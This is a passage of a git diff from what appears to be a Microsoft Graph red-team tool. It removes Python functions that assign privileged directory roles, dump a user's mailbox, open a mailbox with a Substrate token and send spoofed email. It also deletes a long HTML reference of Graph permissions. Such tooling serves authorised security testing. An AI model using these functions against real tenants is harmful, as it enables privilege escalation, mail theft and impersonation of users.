sign-on (seamless SSO), and federation settings. Does not have access to manage Microsoft Entra Connect Health."}, - {"displayName": "Lifecycle Workflows Administrator", "roleTemplateId": "59d46f88-662b-457b-bceb-5c3809e5908f", "description": "Create and manage all aspects of workflows and tasks associated with Lifecycle Workflows in Microsoft Entra ID."}, - {"displayName": "Privileged Role Administrator", "roleTemplateId": "e8611ab8-c189-46e8-94e1-60213ab1f814", "description": "Can manage role assignments in Microsoft Entra ID, and all aspects of Privileged Identity Management."}, - {"displayName": "Security Administrator", "roleTemplateId": "194ae4cb-b126-40b2-bd5b-6091b380977d", "description": "Can read security information and reports, and manage configuration in Microsoft Entra ID and Office 365."}, - {"displayName": "Security Operator", "roleTemplateId": "5f2222b1-57c3-48ba-8ad5-d4759f1fde6f", "description": "Creates and manages security events."} - ] - print_yellow("[*] Assign-PrivilegedRole") - print("=" * 80) - - table = [[role["displayName"], role["roleTemplateId"], role["description"]] for role in roles] - separator = ['-' * 20, '-' * 20, '-' * 20] - print(tabulate([["Display Name", "Role Template ID", "Description"]] + [separator] + table, headers="firstrow", tablefmt="plain", colalign=("left", "left", "left"))) - - try: - roleid = input("\nEnter Role Template ID: ").strip() - objectid = input("Enter Object ID (user/group id): ").strip() - scopeid = input("Enter Scope ID (enter '/' for tenant wide): ").strip() # e.g. "/administrativeUnits/5d107bba-d8e2-4e13-b6ae-884be90e5d1a" or / for tenant wide scope - except KeyboardInterrupt: - sys.exit() - - api_url = f"https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments" - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {get_access_token(args.token)}', - 'Content-Type': 'application/json', - 'User-Agent': user_agent - } - - json_body = { - "@odata.type": "#microsoft.graph.unifiedRoleAssignment", - "roleDefinitionId": roleid, - "principalId": objectid, - "directoryScopeId": scopeid - } - response = requests.post(api_url, headers=headers, data=json.dumps(json_body)) - if response.ok: - print_green("\n[+] Role assigned\n") - response_body = response.json() - - for key, value in response_body.items(): - if not key.startswith("@odata.context"): - pretty_value = json.dumps(value, indent=4) - print(f"{key}: {pretty_value}") - - else: - print_red(f"\n[-] Failed to assign role: {response.status_code}") - print_red(response.text) - print("=" * 80) - -# open-owamailboxinbrowser -# - check this is still valid -def open_owamailboxinbrowser(args): - print_yellow("[*] Open-OWAMailboxInBrowser") - print("=" * 80) - user_agent = get_user_agent(args) - headers = { - "Authorization": f"Bearer {get_access_token(args.token)}", - "User-Agent": user_agent - } - - if args.only_return_cookies: - try: - response = requests.get("https://substrate.office.com/owa/", headers=headers, allow_redirects=False) - print_green("[+] Cookies:") - print(response.headers.get('Set-Cookie')) - except requests.RequestException as e: - print_red(f"[-] Error making request: {str(e)}") - else: - print("To open the OWA mailbox in a browser using a Substrate Access Token:") - print("1. Open a new BurpSuite Repeater tab & set the Target to 'https://substrate.office.com'") - print("2. Paste the below request into Repeater & Send") - print("3. Right click the response > 'Show response in browser', then open the response in Burp's embedded browser") - print("4. Refresh the page to access the mailbox") - print() - print("GET /owa/ HTTP/1.1") - print(f"Host: substrate.office.com") - print(f"Authorization: Bearer {get_access_token(args.token)}") - print() - print("=" * 80) - -# dump-owamailbox -def dump_owamailbox(args): - if not args.mail_folder: - print_red("[-] Mail folder --mail-folder is required for this command.") - return - - if args.id: - base_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/mailFolders/{args.mail_folder}/messages" - else: - base_url = f"https://graph.microsoft.com/v1.0/me/mailFolders/{args.mail_folder}/messages" - - query_params = [] - - if args.select: - query_params.append(f"$select={args.select}") - if args.top: - query_params.append(f"$top={args.top}") - if query_params: - api_url = f"{base_url}?" + "&".join(query_params) - else: - api_url = base_url - - max_results = 400 - print_yellow("[*] Dump-OWAMailbox") - print("=" * 80) - user_agent = get_user_agent(args) - headers = { - "Authorization": f"Bearer {get_access_token(args.token)}", - "User-Agent": user_agent - } - - try: - response = requests.get(api_url, headers=headers) - response.raise_for_status() - response_body = response.json() - filtered_data = {key: value for key, value in response_body.items() if not key.startswith("@odata")} - if filtered_data: - if not filtered_data.get('value'): - print_red("[-] No data found") - return - email_count = 1 - for d in filtered_data.get('value', []): - print_green(f"Email {email_count}") - for key, value in d.items(): - print(f"{key} : {value}") - print("\n") - email_count += 1 - - url = response_body.get("@odata.nextLink") - if url: - response = requests.get(url, headers=headers) - response.raise_for_status() - response_body = response.json() - - except requests.RequestException as e: - print_red(f"[-] Error making request: {str(e)}") - print("=" * 80) - -# spoof-owaemailmessage -def spoof_owaemailmessage(args): - if not args.email: - print_red("[-] Error: --email argument is required for Spoof-OWAEmailMessage command") - return - - print_yellow("[*] Spoof-OWAEmailMessage") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/me/sendMail" - - if args.id: - api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/sendMail" - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {get_access_token(args.token)}', - 'Content-Type': 'application/json', - 'User-Agent': user_agent - } - - try: - subject = input("\nEnter Subject: ").strip() - torecipients = input("Enter toRecipients (comma-separated): ").strip() - ccrecipients = input("Enter ccRecipients (comma-separated): ").strip() - savetf = input("Save To Sent Items (true/false): ").strip().lower() == 'true' - except KeyboardInterrupt: - sys.exit() - - to_recipients = [{"emailAddress": {"address": email.strip()}} for email in torecipients.split(',') if email.strip()] - cc_recipients = [{"emailAddress": {"address": email.strip()}} for email in ccrecipients.split(',') if email.strip()] - content = read_file_content(args.email) - json_body = { - "message": { - "subject": subject, - "body": { - "contentType": "Text", - "content": content - }, - "toRecipients": to_recipients, - "ccRecipients": cc_recipients - }, - "saveToSentItems": savetf - } - - # Add attachment option - check what other files are supported... - # "attachments": [ - # { - # "@odata.type": "#microsoft.graph.fileAttachment", - # "name": "attachment.txt", - # "contentType": "text/plain", - # "contentBytes": "SGVsbG8gV29ybGQh" - # } - # ] - - response = requests.post(api_url, headers=headers, json=json_body) - if response.ok: - print_green("\n[+] Email sent successfully") - - else: - print_red(f"\n[-] Failed to send OWA email message: {response.status_code}") - print_red(response.text) - print("=" * 80) \ No newline at end of file diff --git a/graphpython/commands/graphpermissions.txt b/graphpython/commands/graphpermissions.txt deleted file mode 100644 index 5b49170..0000000 --- a/graphpython/commands/graphpermissions.txt +++ /dev/null @@ -1,20665 +0,0 @@ -

    AccessReview.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierd07a8cc0-3d51-4b77-b3b0-32704d1f69faebfcd32b-babb-40f4-a14b-42706e83bd28
    DisplayTextRead all access reviewsRead all access reviews that user can access
    DescriptionAllows the app to read access reviews, reviewers, decisions and settings in the organization, without a signed-in user.Allows the app to read access reviews, reviewers, decisions and settings that the signed-in user has access to in the organization.
    AdminConsentRequiredYesYes
    -
    -

    AccessReview.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifieref5f7d5c-338f-44b0-86c3-351f46c8bb5fe4aa47b9-9a69-4109-82ed-36ec70d85ff1
    DisplayTextManage all access reviewsManage all access reviews that user can access
    DescriptionAllows the app to read, update, delete and perform actions on access reviews, reviewers, decisions and settings in the organization, without a signed-in user.Allows the app to read, update, delete and perform actions on access reviews, reviewers, decisions and settings that the signed-in user has access to in the organization.
    AdminConsentRequiredYesYes
    -
    -

    AccessReview.ReadWrite.Membership

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier18228521-a591-40f1-b215-5fad4488c1175af8c3f5-baca-439a-97b0-ea58a435e269
    DisplayTextManage access reviews for group and app membershipsManage access reviews for group and app memberships
    DescriptionAllows the app to read, update, delete and perform actions on access reviews, reviewers, decisions and settings in the organization for group and app memberships, without a signed-in user.Allows the app to read, update, delete and perform actions on access reviews, reviewers, decisions and settings for group and app memberships that the signed-in user has access to in the organization.
    AdminConsentRequiredYesYes
    -
    -

    Acronym.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier8c0aed2c-0c61-433d-b63c-6370ddc732489084c10f-a2d6-4713-8732-348def50fe02
    DisplayTextRead all acronymsRead all acronyms that the user can access
    DescriptionAllows an app to read all acronyms without a signed-in user.Allows an app to read all acronyms that the signed-in user can access.
    AdminConsentRequiredYesNo
    -
    -

    AdministrativeUnit.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier134fd756-38ce-4afd-ba33-e9623dbe66c23361d15d-be43-4de6-b441-3c746d05163d
    DisplayTextRead all administrative unitsRead administrative units
    DescriptionAllows the app to read administrative units and administrative unit membership without a signed-in user.Allows the app to read administrative units and administrative unit membership on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    AdministrativeUnit.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier5eb59dd3-1da2-4329-8733-9dabdc4359167b8a2d34-6b3f-4542-a343-54651608ad81
    DisplayTextRead and write all administrative unitsRead and write administrative units
    DescriptionAllows the app to create, read, update, and delete administrative units and manage administrative unit membership without a signed-in user.Allows the app to create, read, update, and delete administrative units and manage administrative unit membership on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    Agreement.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier2f3e6f8c-093b-4c57-a58b-ba5ce494a169af2819c9-df71-4dd3-ade7-4d7c9dc653b7
    DisplayTextRead all terms of use agreementsRead all terms of use agreements
    DescriptionAllows the app to read terms of use agreements, without a signed in user.Allows the app to read terms of use agreements on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    Agreement.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierc9090d00-6101-42f0-a729-c41074260d47ef4b5d93-3104-4664-9053-a5c49ab44218
    DisplayTextRead and write all terms of use agreementsRead and write all terms of use agreements
    DescriptionAllows the app to read and write terms of use agreements, without a signed in user.Allows the app to read and write terms of use agreements on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    AgreementAcceptance.Read

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-0b7643bb-5336-476f-80b5-18fbfbc91806
    DisplayText-Read user terms of use acceptance statuses
    Description-Allows the app to read terms of use acceptance statuses on behalf of the signed-in user.
    AdminConsentRequired-Yes
    -
    -

    AgreementAcceptance.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierd8e4ec18-f6c0-4620-8122-c8b1f2bf400ea66a5341-e66e-4897-9d52-c2df58c2bfb9
    DisplayTextRead all terms of use acceptance statusesRead terms of use acceptance statuses that user can access
    DescriptionAllows the app to read terms of use acceptance statuses, without a signed in user.Allows the app to read terms of use acceptance statuses on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    Analytics.Read

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-e03cf23f-8056-446a-8994-7d93dfc8b50e
    DisplayText-Read user activity statistics
    Description-Allows the app to read the signed-in user's activity statistics, such as how much time the user has spent on emails, in meetings, or in chat sessions.
    AdminConsentRequired-No
    -
    -

    APIConnectors.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierb86848a7-d5b1-41eb-a9b4-54a4e6306e971b6ff35f-31df-4332-8571-d31ea5a4893f
    DisplayTextRead API connectors for authentication flowsRead API connectors for authentication flows
    DescriptionAllows the app to read the API connectors used in user authentication flows, without a signed-in user.Allows the app to read the API connectors used in user authentication flows, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    APIConnectors.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier1dfe531a-24a6-4f1b-80f4-7a0dc5a0a171c67b52c5-7c69-48b6-9d48-7b3af3ded914
    DisplayTextRead and write API connectors for authentication flowsRead and write API connectors for authentication flows
    DescriptionAllows the app to read, create and manage the API connectors used in user authentication flows, without a signed-in user.Allows the app to read, create and manage the API connectors used in user authentication flows, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    AppCatalog.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifiere12dae10-5a57-4817-b79d-dfbec534893088e58d74-d3df-44f3-ad47-e89edf4472e4
    DisplayTextRead all app catalogsRead all app catalogs
    DescriptionAllows the app to read apps in the app catalogs without a signed-in user.Allows the app to read the apps in the app catalogs.
    AdminConsentRequiredYesNo
    -
    -

    AppCatalog.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierdc149144-f292-421e-b185-5953f2e98d7f1ca167d5-1655-44a1-8adf-1414072e1ef9
    DisplayTextRead and write to all app catalogsRead and write to all app catalogs
    DescriptionAllows the app to create, read, update, and delete apps in the app catalogs without a signed-in user.Allows the app to create, read, update, and delete apps in the app catalogs.
    AdminConsentRequiredYesYes
    -
    -

    AppCatalog.Submit

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-3db89e36-7fa6-4012-b281-85f3d9d9fd2e
    DisplayText-Submit application packages to the catalog and cancel pending submissions
    Description-Allows the app to submit application packages to the catalog and cancel submissions that are pending review on behalf of the signed-in user.
    AdminConsentRequired-No
    -
    -

    AppCertTrustConfiguration.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-af281d3a-030d-4122-886e-146fb30a0413
    DisplayText-Read the trusted certificate authority configuration for applications
    Description-Allows the app to read the trusted certificate authority configuration which can be used to restrict application certificates based on their issuing authority, on behalf of the signed-in user.
    AdminConsentRequired-Yes
    -
    -

    AppCertTrustConfiguration.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-4bae2ed4-473e-4841-a493-9829cfd51d48
    DisplayText-Read and write the trusted certificate authority configuration for applications
    Description-Allows the app to create, read, update and delete the trusted certificate authority configuration which can be used to restrict application certificates based on their issuing authority, on behalf of the signed-in user.
    AdminConsentRequired-Yes
    -
    -

    Application.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier9a5d68dd-52b0-4cc2-bd40-abcf44ac3a30c79f8feb-a9db-4090-85f9-90d820caa0eb
    DisplayTextRead all applicationsRead applications
    DescriptionAllows the app to read all applications and service principals without a signed-in user.Allows the app to read applications and service principals on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -

    personal Microsoft accounts The Application.Read.All delegated permission is available for consent in personal Microsoft accounts.

    -
    -

    Application.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier1bfefb4e-e0b5-418b-a88f-73c46d2cc8e9bdfbf15f-ee85-4955-8675-146e8e5296b5
    DisplayTextRead and write all applicationsRead and write all applications
    DescriptionAllows the app to create, read, update and delete applications and service principals without a signed-in user. Does not allow management of consent grants.Allows the app to create, read, update and delete applications and service principals on behalf of the signed-in user. Does not allow management of consent grants.
    AdminConsentRequiredYesYes
    -

    personal Microsoft accounts The Application.ReadWrite.All delegated permission is available for consent in personal Microsoft accounts.

    - -

    Permissions that allow managing credentials, such as Application.ReadWrite.All, allow an application to act as other entities, and use the privileges they were granted. Use caution when granting any of these permissions.

    -
    -

    Application.ReadWrite.OwnedBy

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier18a4783c-866b-4cc7-a460-3d5e5662c884-
    DisplayTextManage apps that this app creates or owns-
    DescriptionAllows the app to create other applications, and fully manage those applications (read, update, update application secrets and delete), without a signed-in user.  It cannot update any apps that it is not an owner of.-
    AdminConsentRequiredYes-
    - -

    The Application.ReadWrite.OwnedBy permission allows the same operations as Application.ReadWrite.All but only on applications and service principals that the calling app is an owner of.

    -

    The Application.ReadWrite.OwnedBy permission allows an app to call GET /applications and GET /servicePrincipals endpoints to list all applications and service principals in the tenant. This scope of access has been allowed for the permission.

    -
    -

    Application-RemoteDesktopConfig.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier3be0012a-cc4e-426b-895b-f9c836bf6381ffa91d43-2ad8-45cc-b592-09caddeb24bb
    DisplayTextRead and write the remote desktop security configuration for all appsRead and write the remote desktop security configuration for apps
    DescriptionAllows the app to read and write the remote desktop security configuration for all apps in your organization, without a signed-in user.Allows the app to read and write other apps' remote desktop security configuration, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    AppRoleAssignment.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier06b708a9-e830-4db3-a914-8e69da51d44f84bccea3-f856-4a8a-967b-dbe0a3d53a64
    DisplayTextManage app permission grants and app role assignmentsManage app permission grants and app role assignments
    DescriptionAllows the app to manage permission grants for application permissions to any API (including Microsoft Graph) and application assignments for any app, without a signed-in user.Allows the app to manage permission grants for application permissions to any API (including Microsoft Graph) and application assignments for any app, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    - -

    Permissions that allow granting authorization, such as AppRoleAssignment.ReadWrite.All, allow an application to grant additional privileges to itself, other applications, or any user. Use caution when granting any of these permissions.

    -
    -

    AttackSimulation.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier93283d0a-6322-4fa8-966b-8c121624760d104a7a4b-ca76-4677-b7e7-2f4bc482f381
    DisplayTextRead attack simulation data of an organizationRead attack simulation data of an organization
    DescriptionAllows the app to read attack simulation and training data for an organization without a signed-in user.Allows the app to read attack simulation and training data for an organization for the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    AttackSimulation.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifiere125258e-8c8a-42a8-8f55-ab502afa52f327608d7c-2c66-4cad-a657-951d575f5a60
    DisplayTextRead, create, and update all attack simulation data of an organizationRead, create, and update attack simulation data of an organization
    DescriptionAllows the app to read, create, and update attack simulation and training data for an organization without a signed-in user.Allows the app to read, create, and update attack simulation and training data for an organization for the signed-in user.
    AdminConsentRequiredYesNo
    -
    -

    AuditLog.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierb0afded3-3588-46d8-8b3d-9842eff778dae4c9e354-4dc5-45b8-9e7c-e1393b0b1a20
    DisplayTextRead all audit log dataRead audit log data
    DescriptionAllows the app to read and query your audit log activities, without a signed-in user.Allows the app to read and query your audit log activities, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    AuditLogsQuery.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier5e1e9171-754d-478c-812c-f1755a9a4c2d1d9e7ac3-0eca-442c-82f9-e92625af6e6d
    DisplayTextRead audit logs data from all servicesRead audit logs data from all services
    DescriptionAllows the app to read and query audit logs from all services.Allows the app to read and query audit logs from all services, on behalf of a signed-in user
    AdminConsentRequiredYesYes
    -
    -

    AuditLogsQuery-CRM.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier20e6f8e4-ffac-4cf7-82f7-70ddb7564318ba78b16f-1e01-41b6-89ca-73e0a32b304c
    DisplayTextRead audit logs data from Dynamics CRM workloadRead audit logs data from Dynamics CRM workload
    DescriptionAllows the app to read and query audit logs from Dynamics CRM workload, without a signed-in userAllows the app to read and query audit logs from Dynamics CRM workload, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    AuditLogsQuery-Endpoint.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier0bc85aed-7b0b-437a-bac8-3b29a1b84c99ee3409fe-617f-43cf-bd1e-fc8b38049e69
    DisplayTextRead audit logs data from Endpoint Data Loss Prevention workloadRead audit logs data from Endpoint Data Loss Prevention workload
    DescriptionAllows the app to read and query audit logs from Endpoint Data Loss Prevention workload, without a signed-in userAllows the app to read and query audit logs from Endpoint Data Loss Prevention workload, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    AuditLogsQuery-Entra.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier7276d950-48fc-4269-8348-f22f2bb296d05ff2f415-e0f1-4d11-bfd0-6d87c0f667fd
    DisplayTextRead audit logs data from Entra (Azure AD) workloadRead audit logs data from Entra (Azure AD) workload
    DescriptionAllows the app to read and query audit logs from Entra (Azure AD) workload, without a signed-in userAllows the app to read and query audit logs from Entra (Azure AD) workload, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    AuditLogsQuery-Exchange.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier6b0d2622-d34e-4470-935b-b96550e5ca8d6c8c71d2-c7e1-45b0-ac6d-1d2724fba6ae
    DisplayTextRead audit logs data from Exchange workloadRead audit logs data from Exchange workload
    DescriptionAllows the app to read and query audit logs from Exchange workload, without a signed-in userAllows the app to read and query audit logs from Exchange workload, on behalf of a signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    AuditLogsQuery-OneDrive.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier8a169a81-841c-45fd-ad43-96aede8801a04a72c235-a50d-4870-b598-fd88fd1fa074
    DisplayTextRead audit logs data from OneDrive workloadRead audit logs data from OneDrive workload
    DescriptionAllows the app to read and query audit logs from OneDrive workload, without a signed-in userAllows the app to read and query audit logs from OneDrive workload, on behalf of a signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    AuditLogsQuery-SharePoint.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier91c64a47-a524-4fce-9bf3-3d569a344ecf30630b65-ed12-4a81-9130-e3a964109fae
    DisplayTextRead audit logs data from SharePoint workloadRead audit logs data from SharePoint workload
    DescriptionAllows the app to read and query audit logs from SharePoint workload, without a signed-in userAllows the app to read and query audit logs from SharePoint workload, on behalf of a signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    AuthenticationContext.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier381f742f-e1f8-4309-b4ab-e3d91ae4c5c157b030f1-8c35-469c-b0d9-e4a077debe70
    DisplayTextRead all authentication context informationRead all authentication context information
    DescriptionAllows the app to read the authentication context information in your organization without a signed-in user.Allows the app to read all authentication context information in your organization on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    AuthenticationContext.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifiera88eef72-fed0-4bf7-a2a9-f19df33f8b83ba6d575a-1344-4516-b777-1404f5593057
    DisplayTextRead and write all authentication context informationRead and write all authentication context information
    DescriptionAllows the app to read and update the authentication context information in your organization without a signed-in user.Allows the app to read and update all authentication context information in your organization on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    BackupRestore-Configuration.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier5fbb5982-3230-4882-93c0-2167523ce0c2444ed4b6-0554-4dc6-8e9c-3f9a34ee3ff6
    DisplayTextRead all backup configuration policiesRead backup configuration policies
    DescriptionAllows the app to read all backup configurations, and lists of Microsoft 365 service resources to be backed up, without a signed-in user.Allows the app to read the backup configuration, and list of Microsoft 365 service resources to be backed up, on behalf of the signed in user.
    AdminConsentRequiredYesYes
    -
    -

    BackupRestore-Configuration.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier18133149-5489-40ac-80f0-4b6fa85f6cdca0244d16-171c-4496-8ffb-7b9b6954d339
    DisplayTextRead and edit all backup configuration policiesRead and edit backup configuration policies
    DescriptionAllows the app to read and update the backup configuration, and list of Microsoft 365 service resources to be backed up, without a signed-in user.Allows the app to read and update the backup configuration, and list of Microsoft 365 service resources to be backed up, on behalf of the signed in user.
    AdminConsentRequiredYesYes
    -
    -

    BackupRestore-Monitor.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierecae8511-f2d7-4be4-bdbf-91f244d45986b4e98de1-4600-4e90-b5e1-7c1dfef04e5c
    DisplayTextRead all monitoring, quota and billing information for the tenantRead monitoring, quota and billing information for the tenant
    DescriptionAllows the app to monitor all backup and restore jobs, view quota usage and billing details, without a signed-in user.Allows the app to monitor backup and restore jobs, view quota usage and billing details, on behalf of the signed in user.
    AdminConsentRequiredYesYes
    -
    -

    BackupRestore-Restore.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier87853aa5-0372-4710-b34b-cef27bb7156e94b36f78-434f-4904-8c08-421d9a9c1dc2
    DisplayTextRead all restore sessionsRead restore sessions
    DescriptionAllows the app to read all restore sessions, without a signed-in user.Allows the app to read restore sessions, on behalf of the signed in user.
    AdminConsentRequiredYesYes
    -
    -

    BackupRestore-Restore.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierbebd0841-a3d8-4313-a51d-731112c8ee419f89e109-94b9-4c9b-b4fc-98cdaa54f574
    DisplayTextRead restore all sessions and start restore sessions from backupsRead restore sessions and start restore sessions from backups
    DescriptionAllows the app to search all backup snapshots for Microsoft 365 resources, and restore Microsoft 365 resources from a backed-up snapshot, without a signed-in user.Allows the app to search the backup snapshots for Microsoft 365 resources, and restore Microsoft 365 resources from a backed-up snapshot, on behalf of the signed in user.
    AdminConsentRequiredYesYes
    -
    -

    BackupRestore-Search.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierf6135c51-c766-4be1-9638-ed90c2ed24432b24830f-f435-446f-ab5a-b1e70d9a2eb5
    DisplayTextSearch for metadata properties in all backup snapshotsSearch for metadata properties in backup snapshots
    DescriptionAllows the app to search all backup snapshots for Microsoft 365 resources, without a signed-in user.Allows the app to search the backup snapshots for Microsoft 365 resources, on behalf of the signed in user.
    AdminConsentRequiredYesYes
    -
    -

    BillingConfiguration.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier9e8be751-7eee-4c09-bcfd-d64f6b087fd82bf6d319-dfca-4c22-9879-f88dcfaee6be
    DisplayTextRead and write application billing configurationRead and write application billing configuration
    DescriptionAllows the app to read and write the billing configuration on all applications without a signed-in user.Allows the app to read and write the billing configuration on all applications on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    BitlockerKey.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-b27a61ec-b99c-4d6a-b126-c4375d08ae30
    DisplayText-Read BitLocker keys
    Description-Allows the app to read BitLocker keys on behalf of the signed-in user, for their owned devices. Allows read of the recovery key.
    AdminConsentRequired-Yes
    -
    -

    BitlockerKey.ReadBasic.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-5a107bfc-4f00-4e1a-b67e-66451267bc68
    DisplayText-Read BitLocker keys basic information
    Description-Allows the app to read basic BitLocker key properties on behalf of the signed-in user, for their owned devices. Does not allow read of the recovery key itself.
    AdminConsentRequired-Yes
    -
    -

    Bookings.Manage.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-7f36b48e-542f-4d3b-9bcb-8406f0ab9fdb
    DisplayText-Manage bookings information
    Description-Allows an app to read, write and manage bookings appointments, businesses, customers, services, and staff on behalf of the signed-in user.
    AdminConsentRequired-No
    -
    -

    Bookings.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier6e98f277-b046-4193-a4f2-6bf6a78cd49133b1df99-4b29-4548-9339-7a7b83eaeebc
    DisplayTextRead all Bookings related resources.Read bookings information
    DescriptionAllows an app to read Bookings appointments, businesses, customers, services, and staff without a signed-in user.Allows an app to read bookings appointments, businesses, customers, services, and staff on behalf of the signed-in user.
    AdminConsentRequiredYesNo
    -
    -

    Bookings.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-948eb538-f19d-4ec5-9ccc-f059e1ea4c72
    DisplayText-Read and write bookings information
    Description-Allows an app to read and write bookings appointments, businesses, customers, services, and staff on behalf of the signed-in user. Does not allow create, delete and publish of booking businesses.
    AdminConsentRequired-No
    -
    -

    BookingsAppointment.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier9769393e-5a9f-4302-9e3d-7e018ecb64a702a5a114-36a6-46ff-a102-954d89d9ab02
    DisplayTextRead and write all Bookings related resources.Read and write booking appointments
